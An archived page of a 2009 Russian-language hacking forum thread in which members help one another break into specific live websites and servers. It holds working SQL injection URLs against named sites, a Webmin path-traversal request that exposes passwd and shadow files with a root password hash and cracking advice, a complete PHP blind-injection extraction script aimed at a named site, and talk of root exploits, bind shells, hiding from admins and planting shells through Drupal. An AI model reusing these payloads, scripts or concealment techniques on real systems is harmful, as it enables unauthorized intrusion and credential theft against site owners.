PDA

Просмотр полной версии : Ваши вопросы по уязвимостям.


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

LokbatanLi
31.10.2009, 13:15
vot naprimer

http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,4,5,6,7+from+users/*

zdes est 4,5 koqda etu ne videmsya a kak uznat columns name v kakom nomere??

Gorev
31.10.2009, 13:20
LokbatanLi
Меня поражает ваше упорство задавать такие дурацкие вопросы...вы вообще читаете что вам люди отвечают и рекомендуют? если вы не считаете нужным следовать советам участникам форума, то зачем же тогда спрашивать?или вам всю статью про скули и раскрутку их суда переписать? Вы случаем не ошиблись? видимо из вас не то что хакера..ламера нормального не получится...
З.Ы. Прошу модеров не считать мои высказывания за флуд !

keng
31.10.2009, 13:21
vot naprimer

http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,4,5,6,7+from+users/*

zdes est 4,5 koqda etu ne videmsya a kak uznat columns name v kakom nomere??

Не совсем тебя понял, но попытаюсь предположить:

Выводимые поля: 4,5.

Вместо любого из них поставляем version(). Запрос принимает вид:
http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,version(),5,6,7/*

Если версия 5, значит нам доступна information_schema, tables и columns соответственно.

Опять видоизменяем запрос. Допустим, нужно увидеть имя первой таблицы. Тогда:

http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,4,table_name,6,7+from+informa tion_schema.tables/*

Чтобы увидеть остальные - используем LIMIT, group_concat и иже с ними. Как именно - ищем на этом форуме, всё подробно описано.

Далее - хотим узнать имя колонки. Делаем запрос:

http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,column_name,5,6,7+from+inform ation_schema.columns/*

Нужную перебираем тем же способом, что и имена таблиц.


Я тебя правильно понял, или всё ещё нет?

LokbatanLi
31.10.2009, 13:24
offf blin zdes est nomerki 4,5 a esli bi ix ne bival 4to zdelali?? kak mojem uznat v kakom nomere sidyat columns name

Gorev
31.10.2009, 13:28
LokbatanLi ну ты ёпрст задолбал уже..нет вывода ..значит крути как слепую...я тебе же написал выше...
З.Ы. В таджикистоне тоже каникулы?

keng
31.10.2009, 13:28
Вот рабочий пример для твоей ссылки:
http://www.uptc.ru/show_id.php?id=-9+union+select+1,2,3,4,group_concat(0x20,column_na me),6,7+from+information_schema.columns+where+tabl e_name=0x7573657273/*

Вывод колонок из таблицы "users' (0x7573657273 - имя таблицы в hex).

LokbatanLi
31.10.2009, 13:32
Gorev, nu pocti ti menya i ya tebya ponel kak blind sql budet??

keng
31.10.2009, 13:33
Gorev, nu pocti ti menya i ya tebya ponel kak blind sql budet??

Blind-injection рассмотрена в статье, ссылку на которую я давал несколькими постами выше.

p.r0phe.t
31.10.2009, 14:53
Подскажите,запускаю локал рут сплойт на шеле пишет
No job control on this shell
Система Debian Linux yesclub 2.6.18-6-686. Cплойт собран на OpenSuse 11,причём её он с радостью порутал =)
В чём трабла?
P.s. я понимаю,что не хочет работать на этом шеле,вопрос почему?
P.S.S. Уффф,порутал. =)
Зыыы Посоветуйте свежий паблик (можно и не паблик =)) руткит под Linx Debian с сцылкой желательно и выложите,если у кого есть, ваниш собранный,никак не хочет компилиься. =( С меня репа =)

bons
31.10.2009, 17:28
кто либо пользовался этим эксплойтом http://milw0rm.com/exploits/7581 ?
(FreeBSD 6x/7 protosw kernel Local Privledge Escalation Exploit)
написано запускать так: usage: ./x <allproc>\n
что за параметр allproc?

wolmer
31.10.2009, 17:55
Null байт не действует при аплоаде в систему виндувс? (php)

[Raz0r]
31.10.2009, 20:24
В функциях copy() и move_uploaded_file() null-байт работает, если же он экранируется, то можно воспользоваться тем, что php проводит нормализацию пути и обрезает значение по превышении MAXPATHLEN:
On Windows OS move_uploaded_file function will convert "foo.php"
followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)
back to "foo.php"

DrakonSerg
31.10.2009, 22:02
Не знаю, тут ли постю. Если что - прошу прощения. Ранее получал доступ в админку по линку http://192.168.0.1. В логин или пароль (1' or 1=1/*) и получил права. Спалили, поменяли. Поставил админ WEBMIN. Приконектився к 10000 порту. Скуль не проходит. Нарыл такую вот штукуhttp://192.168.0.1:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd показывает это (урывок): root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

И такую: http://192.168.0.1:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow Показывает такое (урывок):
root:$1$8HEzo141$IVXTh333KnXkPgNHjr3MP.:14547:0:99 999:7:::
bin:*:14346:0:99999:7:::
daemon:*:14346:0:99999:7:::
adm:*:14346:0:99999:7:::
lp:*:14346:0:99999:7:::
sync:*:14346:0:99999:7:::
shutdown:*:14346:0:99999:7:::
halt:*:14346:0:99999:7:::
mail:*:14346:0:99999:7:::
news:*:14346:0:99999:7:::
uucp:*:14346:0:99999:7:::

Можно логин-пароль найти в этих данных?

[Raz0r]
31.10.2009, 22:08
Можно логин-пароль найти в этих данных?
->
root:$1$8HEzo141$IVXTh333KnXkPgNHjr3MP.:14547:0:99 999:7:::
Интересный, кстати говоря, случай.
Чтобы расшифровать пароля рута используй JohnTheRipper
--
Баг оказался древним
http://www.fduran.com/blog/webmin-vulnerability-exposing-your-password-or-any-file/

DrakonSerg
31.10.2009, 22:22
JohnTheRipper для *nix. Для винды тоже есть, только как им пользоваться ... просцу. Подскажите, что это за хеш? Какой алг его расшифровки. И где логин? ( Если туплю, сорри. Я не хакер, я просто бесплатного интернета хочу. Потому прошу помощи)

Нашел руководство по JohnTheRipper. Теперь проблема в другом.
JTR нужно кормить файлом с содержимым
root:6xp8Tw7//32x2:0:0:root:/:/bin/bash
А у меня содержимое в shadow
root:$1$8HEzo141$IVXTh333KnXkPgNHjr3MP.:14547:0:99 999:7:::
А в passwd:
root:x:0:0:root:/root:/bin/bash

Западло. Что делать?

DrakonSerg
31.10.2009, 22:54
Всем спасибо. Может кому пригодится: получил root скриптом <?php phpinfo() ?>
Админ продолжает сосать)))

treekool
31.10.2009, 22:59
Хеш: FreeBSD MD5
Логин: Root
На счёт алгоритма в google поищи.
------------
Просто скопируй root:$1$8HEzo141$IVXTh333KnXkPgNHjr3MP.:14547:0:99 999:7::: в файл shadow
и переберай джоником ./john shadow

treekool
31.10.2009, 23:00
Сорри, не пропустил последний пост :))

treekool
31.10.2009, 23:02
Подскажите пожалуста, возможно ли проснифать трафик хоста например 192.168.2.1 c машины с адресом 192.168.1.1 разделлённые маршрутизатороми, если хост 192.168.1.1 физически соединён только с маршрутизатором, и в ARP таблици только адрес этого маррутизатора?

DrakonSerg
31.10.2009, 23:17
Не, ну шутки шутками. Объясните мне пожалуйста, почему меня пустило в админку введением одного логина: root. Поле пароля пустое. Это недоработка webmina? Или я чтото сделал своими слабенькими манипуляциями?

treekool
31.10.2009, 23:27
А пароль вообще стоял?

p.r0phe.t
01.11.2009, 07:41
Поглядел логи chkrootkit на порутаном серве и увидел
Bindshell infected (port 31337 (мой бинд)) , но я забиндил ещё один порт 31333 и он его почемуто не пропас,хотя в нетсат он ЛИСЕН. Работаю по второму порту.
Как закрыть забинденный мной порт и без палева закрепиться в системе при таких условиях?
И ещё,где в линухе лежит исторя команд и лог моих подключений на мои порты?
В var/log не нашёл =(

wolmer
01.11.2009, 09:45
']если же он экранируется, то можно воспользоваться тем, что php проводит нормализацию пути и обрезает значение по превышении MAXPATHLEN
Можно поподробней о этом? (+ с примером если можно)
milw0rm.com/papers/359 - не знаю англ язык

(strtolower не должен влиять на Null байт по идее?)

keng
01.11.2009, 10:19
Можно поподробней о этом? (+ с примером если можно)
milw0rm.com/papers/359 - не знаю англ язык

(strtolower не должен влиять на Null байт по идее?)

Почитай данную статью (http://forum.antichat.ru/thread98525-%ED%F3%EB%EB-%E1%E0%E9%F2%E0.html) . =)

wolmer
01.11.2009, 11:02
Почитай данную статью (http://forum.antichat.ru/thread98525-%ED%F3%EB%EB-%E1%E0%E9%F2%E0.html) . =)
Что-то не получается заюзать (с точкой), нужен пример с POST'ом

L I G A
01.11.2009, 13:42
(strtolower не должен влиять на Null байт по идее?)
а самому подумать?
в %00 - нет буквенных символов , чтоб переводить в нижний регистр

wolmer
01.11.2009, 16:09
а самому подумать?
Увереность не помешает

[QwyZ]
01.11.2009, 16:19
короч нашел на одном интересном сайте как я понимаю инжект в скулю.дело в том что скульинж я плохо понимаю так как со скулью неработаю.вобщем посоветуте ЧТО и каким образом можно извлечь из вот такого варнинга:

« MODx Parse Error »MODx encountered the following error while attempting to parse the requested resource:
« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>' at line 1 »
SQL: SELECT DISTINCT sc.id, sc.pagetitle, sc.longtitle, sc.description FROM `uХХХХХХХ_main`.`ХХХ_site_content` sc LEFT JOIN `uХХХХХХ_main`.`ХХХ_site_tmplvar_contentv alues` stc ON sc.id = stc.contentid WHERE (sc.pagetitle LIKE '%\\">\\'>sc\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>sc\\">%' OR sc.content LIKE '%\\">\\'>sc\\">%' OR stc.value LIKE '%\\">\\'>sc\\">%') AND sc.privateweb=0 AND sc.published=1 AND sc.searchable=1 AND sc.deleted=0;


вводил в поле поиска - ">'>sc"><

gisTy
01.11.2009, 16:21
']короч нашел на одном интересном сайте как я понимаю инжект в скулю.дело в том что скульинж я плохо понимаю так как со скулью неработаю.вобщем посоветуте ЧТО и каким образом можно извлечь из вот такого варнинга:

« MODx Parse Error »MODx encountered the following error while attempting to parse the requested resource:
« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>' at line 1 »
SQL: SELECT DISTINCT sc.id, sc.pagetitle, sc.longtitle, sc.description FROM `uХХХХХХХ_main`.`ХХХ_site_content` sc LEFT JOIN `uХХХХХХ_main`.`ХХХ_site_tmplvar_contentv alues` stc ON sc.id = stc.contentid WHERE (sc.pagetitle LIKE '%\\">\\'>sc\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>sc\\">%' OR sc.content LIKE '%\\">\\'>sc\\">%' OR stc.value LIKE '%\\">\\'>sc\\">%') AND sc.privateweb=0 AND sc.published=1 AND sc.searchable=1 AND sc.deleted=0;


вводил в поле поиска - ">'>sc"><
скуль, не? причем с кривым экранированием

[QwyZ]
01.11.2009, 16:22
скуль, не? причем с кривым экранированием

ну дак я про это и говорю - а толко че с этим далше делать - хз,я в скулях нерублю

gisTy
01.11.2009, 16:27
']ну дак я про это и говорю - а толко че с этим далше делать - хз,я в скулях нерублю
читай маны ;)
например тут:http://forum.antichat.ru/thread19844.htmlили тут:http://forum.antichat.ru/thread43966.html

acdel
01.11.2009, 16:28
При обращении к файлу

http://localhost/blog/wp-includes/class-feed.php

имеем

Warning: require_once(ABSPATHWPINC/class-simplepie.php) [function.require-once]: failed to open stream: No such file or directory in T:\home\localhost\blog\wp-includes\class-feed.php on line 4

Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHWPINC/class-simplepie.php' (include_path='.;/usr/local/PHP/PEAR;/usr/local/PHP/Smarty') in T:\home\localhost\blog\wp-includes\class-feed.php on line 4

Можно это как-то раскрутить, без параметра?

keng
01.11.2009, 16:29
']короч нашел на одном интересном сайте как я понимаю инжект в скулю.дело в том что скульинж я плохо понимаю так как со скулью неработаю.вобщем посоветуте ЧТО и каким образом можно извлечь из вот такого варнинга:

« MODx Parse Error »MODx encountered the following error while attempting to parse the requested resource:
« Execution of a query to the database failed - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>' at line 1 »
SQL: SELECT DISTINCT sc.id, sc.pagetitle, sc.longtitle, sc.description FROM `uХХХХХХХ_main`.`ХХХ_site_content` sc LEFT JOIN `uХХХХХХ_main`.`ХХХ_site_tmplvar_contentv alues` stc ON sc.id = stc.contentid WHERE (sc.pagetitle LIKE '%\\">\\'>sc\\">%' OR sc.longtitle LIKE '%\\">\\'>sc\\">%' OR sc.description LIKE '%\\">\\'>sc\\">%' OR sc.content LIKE '%\\">\\'>sc\\">%' OR stc.value LIKE '%\\">\\'>sc\\">%') AND sc.privateweb=0 AND sc.published=1 AND sc.searchable=1 AND sc.deleted=0;


вводил в поле поиска - ">'>sc"><

Тебе вот сюда (http://forum.antichat.ru/thread43966.html) . :)

gisTy
01.11.2009, 16:30
Можно это как-то раскрутить, без параметра?
я думаю, что нет

keng
01.11.2009, 17:32
Прошу помощи. Нашёл следующую скулю:
http://www.bmx.ru/files.php?id=1'

Подбираю поля. Дохожу до шести, используя в качестве комментария символ "--". Выходит следующее:
http://www.bmx.ru/files.php?id=1+union+select+1,1,1,1--

Не могу выполнить запрос! SELECT * FROM bmx_files WHERE razd_id = 1 union select 1,1,1,1-- ORDER BY id DESC

Пробую подобрать дальше, выскакивает другая ошибка:
Не могу выполнить запрос! SELECT * FROM bmx_razds_f WHERE id = 1 union select 1,1,1,1,1--

Это не операбельно, или у меня совсем мозг не работает уже?

nemaniak
01.11.2009, 17:50
Прошу помощи. Нашёл следующую скулю:
http://www.bmx.ru/files.php?id=1'

Подбираю поля. Дохожу до шести, используя в качестве комментария символ "--". Выходит следующее:
http://www.bmx.ru/files.php?id=1+union+select+1,1,1,1--



Пробую подобрать дальше, выскакивает другая ошибка:


Это не операбельно, или у меня совсем мозг не работает уже?

думаю ее просто нужно крутить как слепую

http://www.bmx.ru/files.php?id=1+and+1=1+--+

http://www.bmx.ru/files.php?id=1+and+1=0+--+

keng
01.11.2009, 18:04
думаю ее просто нужно крутить как слепую

http://www.bmx.ru/files.php?id=1+and+1=1+--+

http://www.bmx.ru/files.php?id=1+and+1=0+--+

Я тоже об этом думал. Раз нет других вариантов - буду так. Большое спасибо!

z00MAN
01.11.2009, 18:07
keng
как вариант:
http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version( ),database()),4,5,6--

keng
01.11.2009, 18:09
keng
как вариант:
http://www.bmx.ru/foto.php?al_id=-17+union+select+1,2,concat_ws(0x3a,user(),version( ),database()),4,5,6--

Благодарю!

street16
01.11.2009, 18:45
Есть сайт!есть админка.в поле login ввожу ковычку.выдаёт Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/data/www/includes/functions_mysql.php on line 67.Что можно сделать?

keng
01.11.2009, 18:50
Есть сайт!есть админка.в поле login ввожу ковычку.выдаёт Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/data/www/includes/functions_mysql.php on line 67.Что можно сделать?

Можно почитать вот эту статью (http://forum.antichat.ru/thread43966.html). Конкретно - пункт 1.3. =)

truelamer
02.11.2009, 09:41
вопрос довольно не обычный. Есть сайт, двиг самописный, все JS вещи реализованы при помощи jQUery. На главной странице есть див который каджые 10 секунд обновляется, т.е. происходит ajax запрос в базу, запрос возоврщает колличество записей и обновляется див с колличеством записей

Так вот проблема!!!! почему-то необъяснимым образом ИНОГДА вместо числа в этом диве отображается реклама хз откуда всявшаяся, на самом сайте нет рекламы ни какой и партнерки ни какие не подключены и траф не сливается ни куда.

то это за хрень может быть, код чистый проверяли много раз, где уязвимость, что уязвимо

wolmer
02.11.2009, 09:46
Ап по посту #9830 (forum.antichat.ru/showpost.php?p=1646301&postcount=9830)

Luck3r
02.11.2009, 18:05
вопрос довольно не обычный. Есть сайт, двиг самописный, все JS вещи реализованы при помощи jQUery. На главной странице есть див который каджые 10 секунд обновляется, т.е. происходит ajax запрос в базу, запрос возоврщает колличество записей и обновляется див с колличеством записей

Так вот проблема!!!! почему-то необъяснимым образом ИНОГДА вместо числа в этом диве отображается реклама хз откуда всявшаяся, на самом сайте нет рекламы ни какой и партнерки ни какие не подключены и траф не сливается ни куда.

то это за хрень может быть, код чистый проверяли много раз, где уязвимость, что уязвимо
Мистика? :D
Пиши в асю. Щас не очень занят. Разберемся

Есть сайт!есть админка.в поле login ввожу ковычку.выдаёт Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/home/data/www/includes/functions_mysql.php on line 67.Что можно сделать?
Экранизируй кавычку.

Shram-spb
02.11.2009, 19:31
вопрос довольно не обычный. Есть сайт, двиг самописный, все JS вещи реализованы при помощи jQUery. На главной странице есть див который каджые 10 секунд обновляется, т.е. происходит ajax запрос в базу, запрос возоврщает колличество записей и обновляется див с колличеством записей

Так вот проблема!!!! почему-то необъяснимым образом ИНОГДА вместо числа в этом диве отображается реклама хз откуда всявшаяся, на самом сайте нет рекламы ни какой и партнерки ни какие не подключены и траф не сливается ни куда.

то это за хрень может быть, код чистый проверяли много раз, где уязвимость, что уязвимо
Дак ты бы ссылку дал... тут надо глазами посмотреть...

Pashkela
02.11.2009, 19:34
то это за хрень может быть, код чистый проверяли много раз


ага, плохо проверял


Дак ты бы ссылку дал... тут надо глазами посмотреть...


тогда уж и шелл сразу, чтобы "проверить скрипты на наличие ифреймов и прочего"

Автор, сам не можешь - нанимай спеца, вот и весь разговор. Такие вещи в каждом случае прячутся очень индивидуально

S00pY
03.11.2009, 16:24
open_basedir

php.ru/manual/features.safe-mode.html

google->open_basedir не работает move_uploaded_file

jecka3000
03.11.2009, 20:46
что можно сотрворить с сайтом жертвы, если на соседнем сайте(одинаковый ИП) найдена и раскручена уязвимость влоть до вида admin;pass Как можно используя доступ к соседу проникнуть на сайт исходной жертвы?

HAXTA4OK
03.11.2009, 20:49
Залей шелл, и потом как уже твои права тебе позволят

ЗЫ в лучшем случаи - прочесть конфиг от БД где храниться пасс админа

nemaniak
03.11.2009, 22:13
подскажите, пожалуйста, как в drupal через админку можно шелл закинуть?

$n@ke
03.11.2009, 22:34
site.com/drupal/?q=node/1/edit
включить пхп в комментах.

warlok
03.11.2009, 23:11
включить пхп в комментах.
что то невидно там такой опции, стоит друпал 6.6

$n@ke
03.11.2009, 23:18
при создании коммента или правке поста, в расширяющемся меню,под формой для ввода текста,есть радиобаттоны. выставить на пхп.

nemaniak
03.11.2009, 23:18
Спасибо разобрался, все как говорил $n@ke, просто php код еще нужно обрамлять тегом <!--break-->, чтоб избежать преобразования спец-символов...

warlok
04.11.2009, 01:55
при создании коммента или правке поста, в расширяющемся меню,под формой для ввода текста,есть радиобаттоны. выставить на пхп.
я вижу у себя тут только Filtered HTML и Full HTML , может я всетаки что то упустил? o_O

nemaniak
04.11.2009, 02:05
я вижу у себя тут только Filtered HTML и Full HTML , может я всетаки что то упустил? o_O

бывает и такое) зайди в Administer › Site configuration › Input formats и в Add input format создай php, при этом убери все типы фильтров

Gemini12
04.11.2009, 17:26
Скиньте ктонить ссылку на сайт для конвертации в символов в CHAR(*), а то посеял где то все свои ссылки ((

S00pY
04.11.2009, 17:27
http://home2.paulschou.net/tools/xlate/

Gemini12
04.11.2009, 17:46
Как быть? Точно знаю что одна строка! А когда пишу:
...php?id=-24+union+select+1--
выдает:
The used SELECT statements have a different number of columns
как быть в такой ситуации?

Pashkela
04.11.2009, 17:49
дать ссылку сюды

Gemini12
04.11.2009, 17:53
http://www.selo.kz/fspisok.php?id=-24+union+select+1--
Тока не ломай кайф плз если первее до админки доберешься, не показывай результат, просто покажи видимые поля, дальше я сам ))

Gorev
04.11.2009, 18:14
Gemini12 я не искал но в указанном месте нет вывода ..так что крути как слепую..версия там 5.0.85-log

http://www.selo.kz/fspisok.php?id=24+AND+SUBSTRING((version()),1,1)=5--

Aртем
04.11.2009, 18:58
http://www.selo.kz/fspisok.php?id=-24+union+select+1--
Тока не ломай кайф плз если первее до админки доберешься, не показывай результат, просто покажи видимые поля, дальше я сам ))
сплоит, он конечно кривоват, но работать должен:

<?php

#$chars="abcdef0123456789"; // для хеша
#$chars="_.\\][)(:;!@#$%^&*-+='\"<>?/,}~{ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstu vwxyz0123456789"; // для соли
$chars=".54367890012-ntlog"; // бд
$i=1;
$to=10;
$c=0;
$cc=0;
$data="";
$ebana="";
set_time_limit(0);

while($i<=$to) {

while($c<=strlen($chars)) {

echo $i.":".$chars[$c];
$sock=fsockopen("www.selo.kz", 80, $errno, $errstr, 5);
if(!$sock) die("hehe fuckin connect");
$ept="id=99999924+or+if(substring((select+version()),".$i.",1)=".$chars[$c].",(select+1+union+select+2),null)";
$h="POST /fspisok.php? HTTP/1.0\r\n";
$h.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n";
$h.="Content-Type: application/x-www-form-urlencoded\r\n";
$h.="User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\n";
$h.="Host: www.selo.kz\r\n";
$h.="Content-Length: ".strlen($ept)."\r\n";
$h.="Cookie: bbsessionhash=636f59afa8e2b1a8519bbbf5669a48b6; bblastvisit=1242490434; bblastactivity=0\r\n\r\n";
$h.=$ept;
fwrite($sock, $h);
sleep(1);
$c++;
$data="";

while(!feof($sock)) {
$data=fgets($sock, 1024);
if(eregi("Subquery returns more than 1 row", $data)) { $cc=1; break; }
}

if($cc==1) { echo ":OKE!!1\r\n"; $ebana.=$chars[$c-1]; break; }
else echo ":FUCK!1\r\n";
fclose($sock);
}

$c=0;
$cc=0;
$i++;

}

echo $ebana;

?>

Gorev
04.11.2009, 19:58
Aртем я думаю что для таких дел как раскрутка слепой скули есть много програм например сипт..кототрый поверь мне не настолько кривоват как твой скрипт..если конечно это твой скрипт

Aртем
04.11.2009, 20:04
Хм... я часто сталкиваюсь с ситуациями, когда например нет возможности использовать, чужие например программы. Исходя из чего и приходится всё делать самому, что относительно положительно влияет на умственный потенциал.
А что касается программ, то для человека, который ИЗУЧАЕТ, например Blind SQL Inj, то ему просто напросто НЕОБХОДИМО всё делать в ручную. Потому, что не одна программа НЕИДЕАЛЬНА, в связи с чем могут возникать разные трудности в реализации инъекции, у человека, который бездумно использовал эти самые программы.

Gorev
04.11.2009, 20:12
Хм... я часто сталкиваюсь с ситуациями, когда например нет возможности использовать, чужие например программы. Исходя из чего и приходится всё делать самому, что относительно положительно влияет на умственный потенциал.
А что касается программ, то для человека, который ИЗУЧАЕТ, например Blind SQL Inj, то ему просто напросто НЕОБХОДИМО всё делать в ручную. Потому, что не одна программа НЕИДЕАЛЬНА, в связи с чем могут возникать разные трудности в реализации инъекции, у человека, который бездумно использовал эти самые программы.


ну в ручную раскручивать слепую скулю я думаю будет необдуманно, когда есть сотни программ заточенный под это дело..насчет идеальных программ Вы правы...но в данной ситуации ваш скрипт намного уступает по функционалу тому же сипту...

Aртем
04.11.2009, 20:15
ну в ручную раскручивать слепую скулю я думаю будет необдуманно, когда есть сотни программ заточенный под это дело..насчет идеальных программ Вы правы...но в данной ситуации ваш скрипт намного уступает по функционалу тому же сипту...
Соотношение время-качество играет весомую роль. Зачастую нет времени делать качественно. Но здесь важно не качество, а результат, чего-бы это не стоило. :)

L I G A
04.11.2009, 20:29
Aртем
если писать,то писать то что может конкурировать со скриптами выложенными в этой (http://forum.antichat.ru/thread119047.html) теме,а не лишь бы писать, где на перебор 1-го символа (не хеша где a-f0-9) - уходит 8 запросов (я взял пример Грея),в нем находится середина диапазона chr(0)-chr(255),и проверяется на истинность в зависимости от ответа - циклично ,ну это так,к слову.детальней это все описал Qwazar опять же thread119047.html (http://forum.antichat.ru/thread119047.html)

Aртем
04.11.2009, 20:37
L I G A и Pashkela, я не в коем случае не пытался написать универсальный скрипт для посимвольного перебора и уж тем более набиваться в конкуренты. Я просто написал сплоит для посимвольного перебора, непосредственно основывая работу исходя из поста #9868 (http://forum.antichat.ru/showpost.php?p=1656861&postcount=9868)

SeNaP
04.11.2009, 22:18
Возник такой вопрос
Есть сайт

http://www.cstrike.ro/cs_1.6_servers.php?start=190

Ошибку выдёт только в таком случаи

http://www.cstrike.ro/cs_1.6_servers.php?start=-190

А так не хочет

http://www.cstrike.ro/cs_1.6_servers.php?start=190'

т.е. там как я понял, такая фильтрация

$start = (int)$_GET['start'];

Реально ли раскрутить такую SQl inj , если это вообще SQL inj

AFoST
04.11.2009, 23:07
...
т.е. там как я понял, такая фильтрация

$start = (int)$_GET['start'];

Реально ли раскрутить такую SQl inj , если это вообще SQL inj
чтобы включить мозг попробуй такой скрипт
<?php
echo ((int)$_GET['start']);
?>

ну и тесть))

Byrger
05.11.2009, 09:04
если в MsSQL-inj нету вывода ошибки, то как можно такую БД раскрутить?

2Fed123
05.11.2009, 11:20
Byrger как слепую инъекцию http://forum.antichat.ru/thread43966-blind.html
Вопросик-на сайте открыт фтп по логину guest,залил в папку uploads шелл,но когда через http хочу его открыть,говорят мол нету такой папки,при фтп соединении видно всего пару папок,сам сайт невиден.

Byrger
05.11.2009, 12:01
Byrger как слепую инъекцию http://forum.antichat.ru/thread43966-blind.html
Вопросик-на сайте открыт фтп по логину guest,залил в папку uploads шелл,но когда через http хочу его открыть,говорят мол нету такой папки,при фтп соединении видно всего пару папок,сам сайт невиден.

У меня Ms SQL а не MySQL

warlok
05.11.2009, 15:47
Вопросик-на сайте открыт фтп по логину guest,залил в папку uploads шелл,но когда через http хочу его открыть,говорят мол нету такой папки,при фтп соединении видно всего пару папок,сам сайт невиден.
ты сам ответил на свой вопрос)
У меня Ms SQL а не MySQL
всеравно как слепую, попробуй BSQL Hacker облегчит тебе раскрутку ... не руками ж крутить :D

Scipio
05.11.2009, 15:52
если в MsSQL-inj нету вывода ошибки, то как можно такую БД раскрутить?
union select например

Pashkela
05.11.2009, 15:58
http://milw0rm.com/papers/279

[0x03] - MSSQL Blind SQL Injection Attack

Byrger
05.11.2009, 16:25
ага тогда вот такой вопрос
есть ошибка в site.ru/news.php?page=-1

выводит
warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/webhost/www/site/includes/common.inc(1685) : eval()'d code on line 13.

при вставке ковычкеу никакой ошибки не выдаёт и при 2-1 выдаёт первую страницу.
При and 1=2 тоже ошибку не выдаёт.

Как можно попробовать такое раскрутить?

Jokester
05.11.2009, 16:37
ага тогда вот такой вопрос

ага, тогда у меня тоже вопрос, какие статьи ты прочитал, прежде чем задавать вопросы?

Byrger
05.11.2009, 16:40
ага, тогда у меня тоже вопрос, какие статьи ты прочитал, прежде чем задавать вопросы?
Я много чего читал но не сталкивался с такой инъекцией
Она ещё в eval() помойму....

Jokester
05.11.2009, 17:01
Я много чего читал но не сталкивался с такой инъекцией
Она ещё в eval() помойму....
Ну и чего ты ждёшь? Что-бы тебе переписали какую-нибудь статью сюда, или нужно применить телепатию и всех победить без линка?

2Fed123
05.11.2009, 17:22
Нужен словарь для брута таблиц и колонок СУБД MSACCESS ,пробовал для мускула-не одной таблы.
Заранее благодарен

Jokester
05.11.2009, 17:28
Нужен словарь для брута таблиц и колонок СУБД MSACCESS ,пробовал для мускула-не одной таблы.
Заранее благодарен
прогони с префиксом tbl или tbl_

l1ght
05.11.2009, 17:50
Byrger,
в.1 вырезается ' => and пройдет только в where => where lala=col_{inj} (col_2-1 true, col_-1 unknown column col_)
в.2 (более правдивый) из названия переменной inj в limit или offset, $page берется c intval()

jecka3000
05.11.2009, 18:43
нашел MSSQL inj . Дописываю к концу линка or 1=@@version-- и ничего не выводит, просто голый лист! Что делать?
П.С. ;select+@@version - тоже не катит...

П.П.С. Учитывая, что выводит это
Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '1', ')'. /scripts/UserStatistic.asp, line 26

2Fed123
05.11.2009, 19:12
jokester
Прогнал-ничего(

Jokester
05.11.2009, 19:26
jokester
Прогнал-ничего(
Чиорт, а мне хакеры посоветовали так сделать :(
Обманули негодяи значит

Нет специальных словарей под разные базы, но я на 99% уверен, что там префикс, если у тебя нормальный словарь. Сам понимаешь, угадать его не получится. В СИПТе если не ошибаюсь, есть словарь префиксов

PS Хотя ... Вон l1ght гадает на картах и предсказывает будущее по фотографии :)

jecka3000
05.11.2009, 19:27
ау...люди ..помогите с моей проблемой тож))

Ctacok
05.11.2009, 20:08
нашел MSSQL inj . Дописываю к концу линка or 1=@@version-- и ничего не выводит, просто голый лист! Что делать?
П.С. ;select+@@version - тоже не катит...

П.П.С. Учитывая, что выводит это
Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '1', ')'. /scripts/UserStatistic.asp, line 26
Нынче головой думать не тру =\
1') or 1=@@version и закрой чем нить =\

jecka3000
05.11.2009, 20:15
ctacok,
я поробовал и не только такую комбинаци+еще раз прочел мануал от Кэша..ничего не выходит.
Вот ответ базы на твой запрос:
There are more columns in the INSERT statement than values specified in the VALUES clause. The number of values in the VALUES clause must match the number of columns specified in the INSERT statement.

Ctacok
